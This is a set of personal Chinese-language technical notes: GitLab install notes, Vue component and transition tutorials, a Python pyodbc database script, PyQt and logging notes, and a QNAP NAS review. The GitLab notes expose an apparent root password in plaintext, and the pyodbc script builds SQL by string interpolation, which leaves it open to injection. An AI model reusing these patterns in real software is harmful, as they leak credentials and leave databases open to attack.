Please configure a URL for your GitLab instance by setting `external_url`
configuration in /etc/gitlab/gitlab.rb file.
Then, you can start your GitLab instance by running the following command:
sudo gitlab-ctl reconfigure
192.168.2.167
+ [gitlab-ce_14.0.1-ce.0_arm64.deb](https://packages.gitlab.com/gitlab/gitlab-ce/packages/ubuntu/focal/gitlab-ce_14.0.1-ce.0_arm64.deb)
+ [install doc](https://docs.gitlab.com/omnibus/installation/)
root 2Wsx3edc
+ [GitLab基础:增量式备份的实现方式](https://blog.csdn.net/liumiaocn/article/details/107936967)
+ [GitLab基础:备份与恢复指南](https://liumiaocn.blog.csdn.net/article/details/107952592)
+ 添加用户
+ http://192.168.2.167/admin/users
[gitlab新建项目过程和添加用户](https://blog.csdn.net/weiqiang0124/article/details/80803280)
<file_sep>
# 组件
#
Vue 支持模块化和组件化开发,可以将整个页面进行模块化分割,低耦合高内聚,使得代码可以在各个地方使用。
## 知识点
+ 组件注册
+ 组件复用
+ 组件通信
+ 动态组件
+ 实例生命周期
+ 生命周期示意图
## 组件注册
组件分为全局组件和局部组件。
### 全局注册
`Vue.component()`方法注册全局组件
```html
<div id="app">
<syl></syl>
<syl></syl>
<syl></syl>
</div>
<script>
//Vue.component(组件名字,template:{元素标签})
Vue.component("syl", {
template: "<h1>实验楼全局组件</h1>",
});
var app = new Vue({
el: "#app",
});
</script>
```
### 局部组件
在父级 components 对象中声明,局部组件只有它的父级才能调用
```html
var header = new Vue({
el: "#header",
//子组件必须声明后使用,不然不能起效
components: {
"syl-header": childComponent,
},
});
```
局部组件使用:
```html
<div id="header">
<syl-header></syl-header>
</div>
<div id="mid">
<syl-mid></syl-mid>
</div>
<script>
//头部组件
var childComponent = {
template: "<h2>我是实验楼局部组件header,只有我们父级才能调用</h2>",
};
//中间部分组件
var childComponent2 = {
template: "<h2>我是实验楼局部组件mid,只有我们父级才能调用</h2>",
};
//header vm
var header = new Vue({
el: "#header",
//子组件必须声明后使用,不然不能起效
components: {
"syl-header": childComponent,
},
});
var mid = new Vue({
el: "#mid",
//子组件必须声明后使用,不然不能起效
components: {
"syl-mid": childComponent2,
},
});
</script>
```
### 组件复用
组件的优点就在于能够复用,一次代码编写,整个项目受用。
>注意: 复用组件内的 data 必须是一个函数,如果是一个对象(引用类型),组件与组件间会相互影响,组件数据不能独立管理。
```html
<div id="app">
<button-counter></button-counter>
<button-counter></button-counter>
<button-counter></button-counter>
</div>
<script>
//注册一个全局可复用组件
Vue.component("button-counter", {
//data必须是一个函数不然会影响其他组件
data() {
return {
counter: 0,
};
},
template: '<button @click="counter++">{{counter}}</button>',
});
var app = new Vue({
el: "#app",
});
</script>
```
## 组件间通信
组件之间也面临着数据流动,也可以进行通信。下面我们来学习组件间的通信。
### 父子组件之 props
props 是一个 __单向__ 的数据流,只允许父组件向子组件传值,值类型可以是一个数值、字符、布尔值、数值、对象,子组件需要显式地用 props 选项声明 "prop"。
>注意:HTML 中的特性名是大小写不敏感的,所以浏览器会把所有大写字符解释为小写字符。这意味着当你使用 DOM 中的模板时,camelCase (驼峰命名法) 的 prop 需要使用其等价的 kebab-case (短横线分隔命名) 命名,如下面例子:
```html
<body>
<div id="app">
<title-component post-title="syl1"></title-component>
<title-component post-title="syl2"></title-component>
<title-component post-title="syl3"></title-component>
</div>
<script>
//注册一个 title组件,通过传入不同的title值,渲染不同的东西
//组件上 传递的 props 属性名为 kebab-case(短横线分隔命名)的要转换为驼峰命名
Vue.component("title-component", {
props: ["postTitle"], //post-title 转换为驼峰命名
template: "<p>{{postTitle}}</p>",
});
var app = new Vue({
el: "#app",
});
</script>
</body>
```
### props 类型检测
到这里,我们只看到了以字符串数组形式列出的 prop:
`props:['postTitle']`
但是,通常你希望每个 prop 都有指定的值类型。这时,你可以以对象形式列出 prop,这些属性的名称和值分别是 prop 各自的名称和类型:
```html
props:{
title:String,
id:Number,
content:String
}
```
### 子父组件通信之 emit
上面提到 props 实现父向子组件传递数据是单向流的,那么,如何实现子组件向父组件通信呢?这里要使用自定义事件 emit 方法,通过自定义事件来由下到上的数据流动。
大致语法
`this.$emit('自定义事件名',参数)`
```html
<body>
<div id="app">
<child-component v-on:send-msg="getMsg"></child-component>
</div>
<script>
//定义一个子组件,template绑定click 事件
//当click事件触发就使用 emit 自定义一个事件send-msg,传入参数 “我是子组件请求与你通信”
//$emit('send-msg','我是子组件请求与你通信')
//子组件标签上绑定自定义事件 send-msg,并绑定上父级的方法 getMsg,即可完成了子父组件通信
//<child-component v-on:send-msg="getMsg"></child-component>
Vue.component("child-component", {
template: `
<button v-on:click="$emit('send-msg','我是子组件请求与你通信')">
Click me
</button>
`,
});
var app = new Vue({
el: "#app",
methods: {
getMsg: function (msg) {
//弹出子组件传递的信息
alert(msg);
},
},
});
</script>
</body>
```
#### 子组件向父组件数据传递套路:
+ 第一步:子组件绑定事件。
+ 第二步:子组件绑定事件触发,使用 `$emit` 创建自定义事件并传入需要传值给父组件的数据。
+ 第三部:在子组件标签上 用 `v-on` 绑定自定义事件,在父组件中声明自定义事件处理的方法。
+ 第四部:父组件方法,接受自定义事件传的参数,就完成了整个由下到上的数据流。
### 动态组件
上面例子我们传值都是直接传的固定值,其实动态传值我们也支持,生成动态组件,使用 `v-bind` 动态绑定 `props` 值。
例子:
```html
<body>
<div id="app">
<!-- 使用v-bind简写模式 动态绑定 props 值 -->
<child-component
:name="name"
:age="age"
:height="height"
></child-component>
<child-component
:name="name+'2'"
:age="age+1"
:height="height"
></child-component>
</div>
<script>
//定义一个子组件
Vue.component("child-component", {
//使用属性类型检测
props: {
name: String,
age: Number,
height: String,
},
template: `
<ul>
<li>{{name}}</li>
<li>{{age}}</li>
<li>{{height}}</li>
</ul>
`,
});
var app = new Vue({
el: "#app",
data() {
return {
name: "syl",
age: 20,
height: "180cm",
};
},
});
</script>
</body>
```
## 生命周期函数
接触了组件后,应该需要了解整个实例的生命周期是怎么样的,有哪些钩子函数,在哪个阶段我们能操作什么,实例在不同的阶段都会抛出不同的钩子函数,方便开发者能够精确的控制整个流程。
```html
<body>
<div id="app">
<button @click="handleClick">{{name}}</button>
</div>
<script>
var app = new Vue({
el: "#app",
data() {
return {
name: "syl",
};
},
methods: {
handleClick: function () {
this.name = "<NAME>";
},
},
beforeCreate() {
alert(
"在实例初始化之后,数据观测 (data observer) 和 event/watcher 事件配置之前被调用"
);
},
created() {
alert(
"在实例创建完成后被立即调用,挂载阶段还没开始,$el 属性目前不可见"
);
},
beforeMount() {
alert("在挂载开始之前被调用:相关的 render 函数首次被调用");
},
mounted() {
alert("el 被新创建的 vm.$el 替换,并挂载到实例上去之后调用该钩子");
},
beforeUpdate() {
alert("数据更新时调用");
},
updated() {
alert("组件 DOM 已经更新");
},
beforeDestroy() {},
destroyed() {},
});
</script>
</body>
```
这么多钩子函数我们经常主要用到有:
1. created 钩子函数内我们可以进行异步数据请求
2. mounted 我们可以直接操作元素 DOM 了 ,但是并不推荐这样做,不利于性能提升。
生命周期示意图
一个 Vue 实例从创建到销毁的完善周期,以及相关周期,向外抛出的钩子函数

<file_sep># 过渡与动画
前端交互效果往往显得比较重要,一个产品的良好体验,交互效果起到了很大作用。Vue 在插入、更新或者移除 DOM 时,提供多种不同方式的应用过渡动画效果。
## 知识点
+ 过渡的 class
+ css 过渡
+ css 动画
+ 自定义过渡 class
+ 同时使用过渡与动画
+ 显性过渡时间
+ javascript 动画钩子
+ 初始化过渡
+ 多个元素过渡
## 过渡的 class
```html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<meta http-equiv="X-UA-Compatible" content="ie=edge" />
<title>vue</title>
<script src="https://labfile.oss.aliyuncs.com/courses/1262/vue.min.js"></script>
<style>
/* 定义进入和离开过渡生效时的状态 */
.fade-enter-active,
.fade-leave-active {
transition: opacity 0.5s;
}
/* 定义过渡的开始和结束状态 */
.fade-enter,
.fade-leave-to {
opacity: 0;
}
</style>
</head>
<body>
<div id="app">
<!-- 点击显示隐藏 切换 按钮 改变实例 show数据的值 !=== 取反 -->
<button v-on:click="show = !show">
Toggle
</button>
<!-- transition ’见名知意‘ 这是一个 Vue 内置封装的 动画组件 他可以指定被他包囊 元素的交互效果 -->
<!-- name 就是动画过渡名字 fade 这个是内置动画过渡名-->
<transition name="fade">
<!-- v-if 如果show 为true 就渲染 -->
<p v-if="show">hello syl</p>
</transition>
</div>
<script>
var app = new Vue({
el: "#app",
data() {
return {
show: true,
};
},
});
</script>
</body>
</html>
```
上面看了一个基础示例,我们是可以通过特定的 css 来控制动画或者过渡的全过程,我们来学习一下过渡的类名
+ `v-enter`:定义进入过渡的开始状态。在元素被插入之前生效,在元素被插入之后的下一帧移除。
+ `v-enter-active`:定义进入过渡生效时的状态。在整个进入过渡的阶段中应用,在元素被插入之前生效,在过渡/动画完成之后移除。这个类可以被用来定义进入过渡的过程时间,延迟和曲线函数。
+ `v-enter-to`: 定义进入过渡的结束状态。在元素被插入之后下一帧生效 (与此同时 v-enter 被移除),在过渡/动画完成之后移除。
+ `v-leave`: 定义离开过渡的开始状态。在离开过渡被触发时立刻生效,下一帧被移除。
+ `v-leave-active`:定义离开过渡生效时的状态。在整个离开过渡的阶段中应用,在离开过渡被触发时立刻生效,在过渡/动画完成之后移除。这个类可以被用来定义离开过渡的过程时间,延迟和曲线函数。
+ `v-leave-to`: 定义离开过渡的结束状态。在离开过渡被触发之后下一帧生效 (与此同时 v-leave 被删除),在过渡/动画完成之后移除。

一般套路
```html
.v-enter,
.v-leave-to {
/* 定义元素默认状态 例如:opacity:0*/
}
.v-enter-to,
.v-leave {
/* 定义元素激活时状态 例如:opacity:1*/
}
.v-enter-active,
.v-leave-active {
/* 定义过渡或动画,在过渡中的状态 */
/*
最常用的就是在这里面指定过渡动画 时间/延迟/曲线函数
transition:opacity:1s 1s ease-in-out
*/
}
```
## CSS 过渡
上面其实就是一个 CSS 过渡实例,根据上面介绍的过渡类名和一般套路,自己来写一个过渡。
打造 快进缓出 过渡效果:
```html
<style>
.my-transition-enter,
.my-transition-leave-to {
/* 定义元素默认状态 例如:opacity:0 */
opacity: 0;
}
.my-transition-enter-to,
.my-transition-leave {
/* 定义元素激活时状态 例如:opacity:1*/
opacity: 1;
}
.my-transition-enter-active {
/* 默认到激活状态过渡,0.5s 快速进入 */
transition: opacity 0.5s;
}
.my-transition-leave-active {
/* 激活到默认状态过渡 2s 缓出过渡打造 */
transition: opacity 2s;
}
</style>
```
## CSS 动画
```html
<style>
#app {
width: 200px;
height: 200px;
overflow: hidden;
}
.bounce-enter-active {
animation: bounce-in 0.5s;
}
.bounce-leave-active {
animation: bounce-in 0.5s reverse;
}
@keyframes bounce-in {
0% {
transform: scale(0);
}
50% {
transform: scale(1.5);
}
100% {
transform: scale(1);
}
}
</style>
```
## 自定义过渡类名
我们可以通过以下特性来自定义过渡类名:
enter-class
enter-active-class
enter-to-class
leave-class
leave-active-class
leave-to-class
动画库
[Animate.css](https://animate.style/)
```
npm install animate.css --save
yarn add animate.css
```
or
```html
<head>
<link
rel="stylesheet"
href="https://cdnjs.cloudflare.com/ajax/libs/animate.css/4.0.0/animate.min.css"
/>
</head>
```
## 同时使用过渡与动画
Vue 为了知道过渡的完成,必须设置相应的事件监听器。它可以是 transitionend 或 animationend ,这取决于给元素应用的 CSS 规则。如果你使用其中任何一种,Vue 能自动识别类型并设置监听。
但是,在一些场景中,你需要给同一个元素同时设置两种过渡动效,比如 `animation`很快的被触发并完成了,而 `transition` 效果还没结束。在这种情况下,你就需要使用 type 特性并设置 animation 或 transition 来明确声明你需要 Vue 监听的类型。
## 显性过渡时间
我们可以编排一系列过渡效果,其中一些嵌套的内部元素相比于过渡效果的根元素有延迟的或更长的过渡效果。
`<transition>` 组件上的 `duration` 属性定制一个显性的过渡持续时间 (以毫秒计),形成先后顺序的动画队列。
```html
<head>
<style>
#app {
width: 200px;
height: 200px;
overflow: hidden;
}
.bounce-enter-active {
animation: bounce-in 0.5s;
}
.bounce-leave-active {
animation: bounce-in 0.5s reverse;
}
@keyframes bounce-in {
0% {
transform: scale(0);
}
50% {
transform: scale(1.5);
}
100% {
transform: scale(1);
}
}
</style>
</head>
<body>
<div id="app">
<button @click="show = !show">动画队列</button>
<transition name="bounce" :duration="2000">
<p v-if="show">hello syl hello syl hello syl</p>
</transition>
<transition name="bounce" :duration="1500">
<p v-if="show">hello syl hello syl hello syl</p>
</transition>
<transition name="bounce" :duration="1000">
<p v-if="show">hello syl hello syl hello syl</p>
</transition>
<transition name="bounce" :duration="500">
<p v-if="show">hello syl hello syl hello syl</p>
</transition>
</div>
<script>
var app = new Vue({
el: "#app",
data() {
return {
show: true,
};
},
});
</script>
</body>
```
## JavaScript 动画钩子
使用动画钩子你更能掌控动画的全过程,更好的与 JavaScript 动画库 结合。
```html
<transition
v-on:before-enter="beforeEnter"
v-on:enter="enter"
v-on:after-enter="afterEnter"
v-on:enter-cancelled="enterCancelled"
v-on:before-leave="beforeLeave"
v-on:leave="leave"
v-on:after-leave="afterLeave"
v-on:leave-cancelled="leaveCancelled"
>
</transition>
```
前面四个进入动画钩子,后面四个离开动画钩子
```js
// ...
methods: {
// --------
// 进入中
// --------
beforeEnter: function (el) {
// ...
},
// 当与 CSS 结合使用时
// 回调函数 done 是可选的
enter: function (el, done) {
// ...
done()
},
afterEnter: function (el) {
// ...
},
enterCancelled: function (el) {
// ...
},
// --------
// 离开时
// --------
beforeLeave: function (el) {
// ...
},
// 当与 CSS 结合使用时
// 回调函数 done 是可选的
leave: function (el, done) {
// ...
done()
},
afterLeave: function (el) {
// ...
},
// leaveCancelled 只用于 v-show 中
leaveCancelled: function (el) {
// ...
}
}
```
使用 velocity.js 动画库和动画钩子函数,打造精细动画:
```html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<meta http-equiv="X-UA-Compatible" content="ie=edge" />
<title>vue</title>
<script src="https://labfile.oss.aliyuncs.com/courses/1262/vue.min.js"></script>
<!-- velocity.js 引入 -->
<script src="https://labfile.oss.aliyuncs.com/courses/1379/velocity.min.js"></script>
</head>
<body>
<div id="app">
<button @click="show = !show">
Toggle
</button>
<transition
v-on:before-enter="beforeEnter"
v-on:enter="enter"
v-on:leave="leave"
v-bind:css="false"
>
<p v-if="show">
Demo
</p>
</transition>
</div>
<script>
var app = new Vue({
el: "#app",
data() {
return {
show: false,
};
},
methods: {
beforeEnter: function (el) {
el.style.opacity = 0;
el.style.transformOrigin = "left";
},
enter: function (el, done) {
Velocity(
el,
{
opacity: 1,
fontSize: "1.4em",
},
{
duration: 300,
}
);
Velocity(
el,
{
fontSize: "1em",
},
{
complete: done,
}
);
},
leave: function (el, done) {
Velocity(
el,
{
translateX: "15px",
rotateZ: "50deg",
},
{
duration: 600,
}
);
Velocity(
el,
{
rotateZ: "100deg",
},
{
loop: 2,
}
);
Velocity(
el,
{
rotateZ: "45deg",
translateY: "30px",
translateX: "30px",
opacity: 0,
},
{
complete: done,
}
);
},
},
});
</script>
</body>
</html>
```
## 初始化过渡
我们想要页面初次渲染就有一个过渡效果,可以通过 appear 特性设置节点在初始渲染的过渡。 使用 F5 刷新查看效果:
```html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<meta http-equiv="X-UA-Compatible" content="ie=edge" />
<title>vue</title>
<script src="https://labfile.oss.aliyuncs.com/courses/1262/vue.min.js"></script>
<style>
#app {
width: 200px;
height: 200px;
overflow: hidden;
}
/* 自定义初始化css */
.bounce-enter-active,
.bounce-appear-active-class {
animation: bounce-in 0.5s;
}
@keyframes bounce-in {
0% {
transform: scale(0);
}
50% {
transform: scale(1.5);
}
100% {
transform: scale(1);
}
}
</style>
</head>
<body>
<div id="app">
<!-- 自定义初始化渲染过渡和动画 -->
<transition
appear
appear-class="bounce-appear-class"
appear-to-class="bounce-appear-to-class"
appear-active-class="bounce-appear-active-class"
>
<p>可以通过 appear 特性设置节点在初始渲染的过渡</p>
</transition>
</div>
<script>
var app = new Vue({
el: "#app",
data() {
return {
show: true,
};
},
});
</script>
</body>
</html>
```
>注意: 和动画钩子一样,该特性也提供钩子函数。
```html
<transition
appear
v-on:before-appear="customBeforeAppearHook"
v-on:appear="customAppearHook"
v-on:after-appear="customAfterAppearHook"
v-on:appear-cancelled="customAppearCancelledHook"
>
</transition>
```
## 多个元素过渡
多个元素过渡,可以使用 v-if/v-else,确定那个元素渲染,但是注意为相同标签的元素绑定 key 值,提高性能。
丝滑开关切换例子:
```html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<meta http-equiv="X-UA-Compatible" content="ie=edge" />
<title>vue</title>
<script src="https://labfile.oss.aliyuncs.com/courses/1262/vue.min.js"></script>
<style>
#app {
position: relative;
height: 18px;
}
button {
position: absolute;
}
.fade-enter-active,
.fade-leave-active {
transition: all 1s;
}
.fade-enter,
.fade-leave-active {
opacity: 0;
}
.fade-enter {
transform: translateX(31px);
}
.fade-leave-active {
transform: translateX(-31px);
}
</style>
</head>
<body>
<div id="app">
<transition name="fade">
<button v-if="docState === 'saved'" key="saved" @click="handleClick">
Edit
</button>
<button v-if="docState === 'edited'" key="edited" @click="handleClick">
Save
</button>
</transition>
</div>
<script>
var app = new Vue({
el: "#app",
data() {
return {
docState: "saved",
};
},
//点击切换docState值
methods: {
handleClick: function () {
if (this.docState == "saved") {
this.docState = "edited";
} else {
this.docState = "saved";
}
},
},
});
</script>
</body>
</html>
```
## 综合小练习
移动端菜单:
<file_sep># https://dev.mysql.com/doc/connector-j/5.1/en/connector-j-versions.html
# https://github.com/mkleehammer/pyodbc/wiki
# pip install pyodbc
import pyodbc
class SqlSummary:
def __init__(self,device_id, status, start_date, end_date, scene_type, operator) -> None:
self.DeviceID = device_id
self.Status = status
self.StartDate = start_date
self.EndDate = end_date
self.SceneType = scene_type
self.OperatorUser = operator
class EpdsMysqlOdbc(object):
def __init__(self, driver="{MySQL ODBC 5.1 Driver}",
# {MySQL ODBC 5.1 Driver}
user="root", pwd="<PASSWORD>",
server="127.0.0.1", port="3306",
database="jxfactory",charset="utf8mb4") -> None:
super().__init__()
driver = "ODBC Driver 17 for SQL Server"
self._connect_str = (
f'DRIVER={driver};'
f'SERVER={server};'
f'UID={user};'
f'PWD={pwd};'
f'PORT={port};'
f'DATABASE={database};'
)
# f'charset={charset};'
print(self._connect_str)
def insert_summary_row(self, data:SqlSummary):
cnxn = pyodbc.connect('DSN=sqlInhe;PWD=@<PASSWORD>')
# cnxn = pyodbc.connect(self._connect_str)
cursor = cnxn.cursor()
insert_str = (
"INSERT INTO meteroutfactory "
" (DeviceID, Status, StartDate, EndDate, SceneType, OperatorUser) "
" VALUES "
f"('{data.DeviceID}', '{data.Status}', {data.StartDate}, {data.EndDate}, '{data.SceneType}', '{data.OperatorUser}')"
)
cursor.execute(insert_str)
cnxn.commit()
cursor.close()
cnxn.close()
if __name__ == "__main__":
odbc = EpdsMysqlOdbc()
data = SqlSummary(device_id="255",
status="S",
start_date="2021-07-22 12:00:00",
end_date="2021-07-22 12:00:01",scene_type="23",operator="oper123")
odbc.insert_summary_row(data)
# print(pyodbc.drivers())
<file_sep>
QAbstractButton 是按钮基类,抽象类。
## 按钮分类
+ QPushButton
- 长方形,命令按钮
+ QToolButton
+ QRadioButton
+ QCheckButton
## QSpinBox 计数器
```
QAbstractSpinBox ---------+
+-------|---------+
| |
QDoubleSpinBox QSpinBox
```
<file_sep>https://www.cnblogs.com/shouke/p/14288437.html
+ https://docs.python.org/3/library/logging.html
+ https://docs.python.org/3/howto/logging.html#logging-basic-tutorial
## logging.basicConfig() --日志配置的快速方法
支持将log输出到控制台(Console)或文件中,但只支持一种。
```py
import logging
logging.basicConfig(filename='test.log', level=logging.DEBUG)
logging.info('this is info log')
```
basicConfig(**kwargs)代码长这个样子:
```py
root = RootLogger(WARNING)
Logger.root = root
Logger.manager = Manager(Logger.root)
def basicConfig(**kwargs):
# Add thread safety in case someone mistakenly calls
# basicConfig() from multiple threads
_acquireLock()
try:
if len(root.handlers) == 0:
filename = kwargs.get("filename")
if filename:
mode = kwargs.get("filemode", 'a')
hdlr = FileHandler(filename, mode)
else:
stream = kwargs.get("stream")
hdlr = StreamHandler(stream)
fs = kwargs.get("format", BASIC_FORMAT)
dfs = kwargs.get("datefmt", None)
fmt = Formatter(fs, dfs)
hdlr.setFormatter(fmt)
root.addHandler(hdlr)
level = kwargs.get("level")
if level is not None:
root.setLevel(level)
finally:
_releaseLock()
```
可以看到,是先根据传入的内容,创建了logger(root),又创建了相应的handler(FileHandler和StreamHandler,前者输入log到文件,后者输入到console),并为已创建的的handler设置格式(hdlr.setFormatter(fmt)),然后将创建的handler加入到 logger中(root.addHandler(hdlr)),最后为logger设置日志级别(root.setLevel(level))。
由上可见basicConfig()是将日志配置的一些方法封装了起来。
## 日志配置的一般方法(logger→handler)
下面的例子实现将log同时输出到Console和日志文件,思路参考basicConfig():
```py
import logging
logger = logging.getLogger()
logger.setLevel('DEBUG')
BASIC_FORMAT = "%(asctime)s:%(levelname)s:%(message)s"
DATE_FORMAT = '%Y-%m-%d %H:%M:%S'
formatter = logging.Formatter(BASIC_FORMAT, DATE_FORMAT)
chlr = logging.StreamHandler() # 输出到控制台的handler
chlr.setFormatter(formatter)
chlr.setLevel('INFO') # 也可以不设置,不设置就默认用logger的level
fhlr = logging.FileHandler('example.log') # 输出到文件的handler
fhlr.setFormatter(formatter)
logger.addHandler(chlr)
logger.addHandler(fhlr)
logger.info('this is info')
logger.debug('this is debug')
```
### 错误信息打印
```py
import logging
logger = logging.getLogger(__name__)
logger.setLevel(level=logging.DEBUG)
# Formatter
formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')
# FileHandler
file_handler = logging.FileHandler('result.log')
file_handler.setFormatter(formatter)
logger.addHandler(file_handler)
# StreamHandler
stream_handler = logging.StreamHandler()
stream_handler.setFormatter(formatter)
logger.addHandler(stream_handler)
# Log
logger.info('Start')
logger.warning('Something maybe fail.')
try:
result = 10 / 0
except Exception:
logger.error('Faild to get result', exc_info=True)
logger.info('Finished')
```
<file_sep>---
typora-root-url: ts428
---
## 威联通TS-428
TS-428必然支持RAID0、1、5、6模式,也支持Qtier自动分层存储与SSD快取技术和高速SSD缓存技术,当用户需求一个高速大容量的“闪存”NAS时,其存取性能上也是顶得住的。
其基本配置为Realtek 四核心 ARM CortexA53 1.4GHz处理器、DDR3 2GB内存、双千兆网络口(可链路聚合)、2个 USB 3.0、2个USB 2.0、搭载为自带QTS操作系统。
TS-428在正面配置了快速USB3.0接口,通过一键存取键实现外接硬盘的快速备份,在背面还配备了2个USB2.0和1个USB3.0接口。
首先在Qiter方面,作为威联通独有能够将SSD与HDD混用来加速读写性能的技术,其能够为用户带来容量和性能上的兼顾平衡,但过去Qiter会面临一个小问题,即当用户想将超高速层SSD取出来更换为HDD时,会发现超高速层是无法删除的,删除方法是整个存储池都需要做变动,需要大量时间成本来捣鼓数据。
QTS4.4.1上线后提供了移除超高速层功能,意味着用户在整个存储池设置时的灵活性更强,毕竟后期只需要付出一些不大的时间代价就能随意调整,想扩容或想提速,都是比较随意的。


随后面对部分用户频繁需求的多媒体功能上,威联通QTS4.4.1支持全新APP Multimedia Console,作为一个多媒体应用的聚合功能,用户在使用过程中稍许方便了一些,能够通过其直接调取各类的威联通多媒体APP。各类的功能也能单独使用和原本DLNA设置等入口一样没改变,Multimedia Console仅是一个功能的增配。

在存储与快览总管左下角发生了一定的改变,原本的iSCSI功能被更名为iSCSI & Fibre Channel,不仅拥有iSCSI功能,也能够通过Marvell®、ATTO® 或 QNAP Fibre Channel 卡,支持Fibre Channel SAN,也就是光纤通道应用(TS-428不支持此硬件)。

CacheMount功能看似较类似于前不久我们评测过的HBS功能,但实际上,此功能相当于用户云端内容在自身NAS中的映射。
通过设置后,云端内容也将像存储在本地NAS中一样能够被读写使用、多媒体应用、分享,其既能支持多点内容应用同步,可多个NAS共用同步云盘数据。甚至也能够将非结构散乱的存储数据转换为[文件夹](https://www.smzdm.com/fenlei/wenjianjia/)。在档案更新方面,也能够查询变动避免不慎覆盖。
此外,QTS4.4.1还增加了HBS3备份还原、VJBOD Cloud云端虚拟扩充柜、Qumagie照片管理功能,并且也开始支持APP安装的数字签名验证,避免用户安装可能的恶意软件导致数据危机。另外,也安装了一些新的小功能,比如SSD跑分工具。
在数据读写速度方面,应用模式上全HDD自然是容量最大但速度最慢的,而Qiter数据分层读写属于较为灵活的方式,在存储容量和速度上面取得平衡,如果追求读写效率仍然是使用高速缓存加速功能,将机内得SSD单独设置为缓冲盘,这样数据首先都写都会在SSD上进行,随后才逐步移动至HDD中,优先保障了性能。
我们对处于高速缓存模式下TS-428进行了读写测试,测试仍然在单千兆环境下完成,在随机读写速度方面都轻松达到了100MB+以上,数据较为可观。
同样的,用户能够通过设置高速缓存识别得文件大小进一步优化NAS得读写,比如大文件再通过缓存来进行读写,而小文件可以直接写入HDD中,减轻缓存池满时,对性能造成得影响。
## 系统
和普通电脑一样,使用之初,首先需要进行系统安装,威联通提供了多样化的安装方式,不仅可以通过“QfinderPro”软件进行本地安装,还可以进行 “云匙安装”。
### 云匙安装
电脑用浏览器访问 [install.qnap.com.cn](https://install.qnap.com.cn/),输入威联通TS-428上印制的 Cloud Key,之后会出现一个流程化的安装指引,只需按照指引完成操作即可。
### QfinderPro 软件本地安装
在安装NAS系统的过程之中,还要注意设置固定IP地址,防止路由器重启之后,局域网访问NAS的ip地址发生变动,带来不必要的麻烦。
【操作系统QTS4.3.4】
一直以来,QTS一直保持较快的更新速度,以满足用户对NAS的使用需求。目前,最新版本为QTS4.3.4,在浏览器输入192.168.*.*:8080,然后再输入登陆的用户名和密码就可以访问NAS了。
QTS的系统操作界面与操作逻辑类似于windows,所见即所得。整个操作系统界面可分为工具栏与桌面空间两大板块。工具栏位于界面上方,用户可直接通过工具栏自带的搜索功能完成搜索操作,还可以对NAS进行关机、休眠等操作,还可以显示后台任务与系统消息通知。桌面空间可显示用户常用的APP软件,类似于windows操作系统的桌面快捷方式。用户可以根据自己的需求添加或是删除APP快捷方式。
QTS还允许用户进行系统相关设置,类似于windows操作系统的控制面板,在QTS中被称Z作“控制台”,控制台共分成四大模块,分别是“系统设定”、“权限设定”、“网络与文件服务”和“应用服务”。
#### 1.系统设定
在“系统设定”模块,用户可以进行“系统通讯端口”设定、“安全”设定、“电源”设定等多项系统设定。
为了防止NAS的某些通讯服务端口被宽带运营商封杀,QTS允许用户进行通讯端口修改。例如,QTS默认的WEB通讯端口为8080,这个端口经常会被宽带运营商封杀,用户可以将这个端口改为0-65535之间的任何一个数值。
#### 2.权限设定
QTS允许系统默认管理员(拥有最高权限)创建多个子用户,并可赋予子用户不同的共享文件夹权限与应用程序权限。例如,当系统默认管理员在权限设定中只允许某个子用户拥有读取Multimedia文件夹的权限,则该子用户在手机客户端软件中只拥有读取Multimedia文件夹下文件的权限,而无修改或者删除某个文件的权限。
#### 3.网络与文件服务
在“网络与文件服务”模块下,QTS允许用户开启或者关闭Telnet、SSH、FTP、UPNP等服务的权限。
#### 4. 应用服务
在“应用服务”模块下,用户可以开启或者关闭某些应用服务。笔者觉得QTS中“病毒防护”与“格式转档”是比较实用的两个应用服务,前者可以最大程度的保护数据安全,后者可以让用户在不同平台的移动设备上获得更佳的观影体验。
此外,不要忘了注册QNAP ID、远程访问域名myQNAPcloud。QNAP ID是威联通用于远程访问NAS的账号,在手机客户端软件上输入QNAP ID即可远程访问NAS。
借助“远程访问域名myQNAPcloud”服务与CloudLink服务,用户可以不需要任何技术基础就能用外网远程访问自己NAS。相当于Ngrok、Frp内网穿透。不过访问的速度比较慢,如果有公网ip,最好还是自己配置DDNS,来实现远场访问。
## 应用程序体验
QTS采用了系统框架+APP的模式,用户可以根据自己的需求在“APP Center”中选择需要的APP进行安装,这些APP就相当于windows系统下的各种应用程序。
由于威联通NAS是面向多平台的,所以QTS不仅有丰富的APP,还为PC和Mac等主流PC终端,Android和iOS等移动终端,提供不同的配套软件APP。
对于一般用户来说,最常用的服务无外乎“文件管理”、“备份与同步”、“照片管理”、“视频管理”、“音乐管理”和“下载中心”。QTS为这些服务提供了专门的应用软件APP。
### 1. 文件管理软件——File Station
和Windows操作系统下的“文件资源管理器”很相似,QTS的File Station也具有文件与文件夹的建立、删除、查找、排序、分享、压缩等功能。
利用File Station可以比较方便的将局域网内电脑中的文件复制到NAS之中,笔者顺便做了一下速度测试,读取大文件的速度约为100MB/秒,写入大文件速度约为100MB/秒。千兆带宽。


File Station还具有文件分享功能,可以像百度云盘那样设置分享时限与密码。

File Station还支持“远程挂载”,可以将局域网中服务器上的硬盘映射到威联通NAS的File Station上,譬如,笔者将玩客云中的硬盘映射到File Station之中,这样就可以分享玩客云中下载的高清电影了。

与File Station配套的手机客户端APP为Qfile,除了可以在局域网中利用ip登录管理NAS中的文件之外,还可以通过myQNAPcloud账号远端登陆到NAS之中。在功能上与File Station也很类似,也具有上传、下载、删除、查找、排序等功能。

### 2. 同步与备份软件——Qsync
利用QTS中自带的Qsync可以实现文件的自动备份与同步,系统会自动监测那些被修改过的文件,一旦发现某个文件被修改,系统会自动将修改过的文件自动备份到NAS之中。

此外,Qsync还支持文件一键分享,团队中的某个成员如果需要通过电脑将文件同步到团队中的其它成员,只需下载电脑端的Qsync应用程序,然后右键分享就可以了。

在手机终端也可以通过Qsync实时与NAS保持文件同步。手机终端也具备文件的建立、删除、查找、排序、分享等功能。此外,还支持将手机中的视频、照片等内容随拍随传至NAS之中。

